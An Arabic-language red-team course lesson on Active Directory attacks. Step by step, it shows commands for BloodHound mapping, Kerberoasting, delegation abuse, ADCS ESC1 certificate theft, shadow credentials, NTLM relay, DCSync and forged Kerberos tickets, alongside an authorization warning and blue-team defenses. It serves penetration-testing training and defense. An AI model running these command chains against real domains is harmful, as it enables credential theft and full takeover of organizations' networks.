الفرق الحمراء — الهجومخبير100mL35

Active Directory Attacks — من جوّه بقى

ADCS و Delegation و NTLM Relay و Shadow Credentials

#ADCS#Delegation#NTLM Relay#Shadow Creds

ليه Active Directory هو الجائزة الكبرى؟

تشبيه — شرح مبسط
بُص. لو دخلت شركة فيها 10 آلاف موظف، هتروح فين الأول؟ هتفضل تكسر لاب توب موظف ورا التاني؟ ولا هتروح للسيرفر اللي ماسك المفاتيح كلها؟

- طب يا حضرتك، أنا داخل بـ user عادي.. هكسر DA إزاي من غير exploit؟

يا مستجد. الـ DA مش بيتكسر بـ exploit. بيتكسر بـ misconfig قاعد سنين محدش فاكره. الـ Domain Controller هو مفتاح المملكة، واللي معاه Domain Admin أو الـ krbtgt هو فعلياً مالك كل جهاز وكل حساب. الدرس ده عن السكك اللي بتوصلك للمفتاح ده — مش الكلام النظري، السكك الحقيقية اللي بتشتغل في 2026.
اللي بيحصل فعلياً
كل التكنيكات هنا للتطبيق في red team معاك فيه إذن رسمي مكتوب. تطبيقها على هدف من غير تفويض = جريمة فيدرالية. مش مزحة. لو حذرتك، فده مش علشان أنا مثالي — ده علشان شفت ناس راحت بيها فعلاً.
غلطات الـ junior
  • يشغل SharpHound -c All في أول 5 دقائق ويولّع الـ EDR كله.
  • يعمل Kerberoast على كل حساب SPN في الدومين دفعة واحدة. الـ SOC هيتفرج عليك من 4769 events.
  • يلاقي ESC1 في الـ ADCS ويستعجل ياخد Domain Admin قبل ما يفهم القالب بيعمل إيه.
  • ينسى يدوّر krbtgt مرتين بعد ما يخلص ويفتكر إن "اتنظفت". فاكر نفسه عمل clean-up — هو بس عمل هدنة.

ارسم شجرة الهجوم بـ BloodHound

إنت داخل دومين فيه 1200 يوزر و 90 سيرفر. هتفحص كل ACL بإيدك؟ هتقعد تكتب net user /domain لحد ما الشمس تطلع؟ لا. أول حاجة بيعملها أي red teamer جوه الدومين: يرسم العلاقات.

BloodHound + SharpHound بيلموا الـ ACLs والـ sessions وعضويات الجروبات كلها، وبيحولوها لجراف تقدر تمشي فيه بعينك من اليوزر بتاعك لحد Domain Admin. في حادثة Conti ransomware اللي اتسربت في 2021، الـ playbook بتاعهم كان حرفياً: SharpHound أول حاجة، وبعدين Cypher queries، وبعدين تنفيذ. مش عبقرية — منهجية.

$ bloodhound-python -d corp.local -u user -p Pass1 -ns 10.0.0.10 -c All --zip
$ Invoke-BloodHound -CollectionMethod All,LoggedOn,GPOLocalGroup -ZipFileName loot.zip
[+] 1247 users, 92 computers, 38 GPOs collected

استعلامات Cypher تستحق الحفظ

Cypher
MATCH p=shortestPath((u:User {name:"ME@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
MATCH (u:User {hasspn:true}) WHERE u.pwdlastset < (date().epochSeconds - 31536000) RETURN u.name
MATCH (u)-[:GenericAll|WriteOwner|WriteDacl]->(t) RETURN u,t

ترسانة هجمات Kerberos كاملة

1) Kerberoasting

bash
GetUserSPNs.py corp.local/user:Pass1 -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r rules/best64.rule

2) AS-REP Roasting

bash
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10
hashcat -m 18200 asrep.hash rockyou.txt

3) Unconstrained Delegation

bash
Rubeus.exe monitor /interval:1 /nowrap
SpoolSample.exe DC1 PWNED-HOST
PetitPotam.py -d corp.local -u user -p Pass1 PWNED DC1

4) Constrained Delegation Abuse (S4U)

bash
getST.py -spn cifs/target.corp.local -impersonate Administrator corp.local/svc:Pass1
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target.corp.local

5) Resource-Based Constrained Delegation (RBCD)

bash
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write corp.local/user:Pass1
addcomputer.py corp.local/user:Pass1 -computer-name FAKE$ -computer-pass Fake1
getST.py -spn cifs/TARGET.corp.local -impersonate Administrator corp.local/FAKE$:Fake1

ADCS — الجبهة الأحدث والأخطر (ESC1 → ESC15)

Active Directory Certificate Services فيه قوالب شهادات سهل جداً يحصل فيها سوء تكوين. أداة Certipy بتلاقي الخروم دي وبتستغلها أوتوماتيك من غير ما تحتاج تعرق.

$ certipy find -u user@corp.local -p Pass1 -dc-ip 10.0.0.10 -vulnerable -stdout
[!] Vulnerable: VulnTemplate (ESC1) — ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU
$ certipy req -u user@corp.local -p Pass1 -ca CORP-CA -template VulnTemplate -upn administrator@corp.local
[+] Got certificate for administrator@corp.local — saved as administrator.pfx
$ certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
[+] Got TGT and NT hash for administrator: aad3b435...:31d6cfe0d16ae...

الـ ESC اللي هتقابلهم في الميدان

  • ESC1 — قالب بيسمح بـ SAN + Client Authentication. أنت بتطلب شهادة باسم الأدمن وخلاص.
  • ESC2 — Any Purpose EKU أو EKU فاضي.
  • ESC4 — GenericAll على القالب نفسه = تعدّل عليه وتحوّله لقالب ضعيف بإيدك.
  • ESC8 — NTLM relay لواجهة CA web enrollment.
  • ESC11 — واجهة RPC من غير EPA.
  • ESC13/15 — جديدة، بتلعب على issuance policies والـ schema.

Shadow Credentials — تمشي من غير ما تكسر باسورد

لو معاك GenericWrite على حساب، تقدر تضيف له مفتاح msDS-KeyCredentialLink وتعمل مصادقة باسمه عن طريق PKINIT. الحساب باسوورده زي ما هو، إنت بس دخلت من باب جانبي.

bash
certipy shadow auto -u user@corp.local -p Pass1 -account victim

NTLM Relay — الهجمة اللي مش بتموت

bash
responder -I eth0 -wrf
ntlmrelayx.py -t ldaps://dc -smb2support --delegate-access
ntlmrelayx.py -t ldap://dc --shadow-credentials --shadow-target victim$
mitm6 -d corp.local
ntlmrelayx.py -6 -wh fake-wpad -t ldaps://dc --delegate-access
الحماية — Blue Team
  • فعّل SMB Signing + LDAP Signing & Channel Binding (EPA). دي البديهيات.
  • اقفل LLMNR / NBT-NS / mDNS. مفيش مبرر سنة 2026 إنهم شغالين.
  • اقفل IPv6 لو مش مستخدم، أو ركّب DHCPv6 guard.
  • راقب 4624 type 3 + 4768/4769 الغريبة. الباترن هو اللي هيكشفهم.
اوعى تسيب LLMNR شغّال "علشان قديم وما حدش عايز يلمسه". ده اللي بيتقتلك في كل engagement.

DCSync والتذاكر الذهبية والفضية والماسية

bash
secretsdump.py -just-dc corp.local/admin:Pass1@DC1
ticketer.py -nthash <KRBTGT_NTLM> -domain-sid S-1-5-21-... -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/administrator@DC1
ticketer.py -nthash <SVC_NTLM> -spn cifs/target -domain corp.local user
Rubeus.exe diamond /tgtdeleg /ticketuser:admin /ticketuserid:500 /groups:512
القاعدة الذهبية للمدافع
لما تتأكد إن الـ DC اتخرق: دوّر krbtgt مرتين (مرة، استنى 10 ساعات، تاني مرة). مرة واحدة مش كفاية، المهاجم لسة معاه التذكرة القديمة شغالة.

الخلاصة الناشفة

الـ AD مش بيتكسر بـ exploit واحد. بيتكسر بسلسلة قرارات إدارية اتأجلت سنين.
الـ junior بيقول: "أنا عملت Kerberoast، يبقى أنا معدّي".
المحترف بيقول: "أنا قعدت أرسم الجراف 4 ساعات، وعرفت إن الطريق من user عادي لـ DA طوله 3 خطوات. الباقي تنفيذ".
لو إنت blue team: شغّل BloodHound على نفسك قبل المهاجم. لو لقيت طريق قصير، يبقى الفجوة موجودة. ما تنتظرش حد يثبتها لك.

اكتبها على سطح مكتبك:
كل يوم ما تشغلش BloodHound على دومينك، أنت بتتفرج مش بتدافع.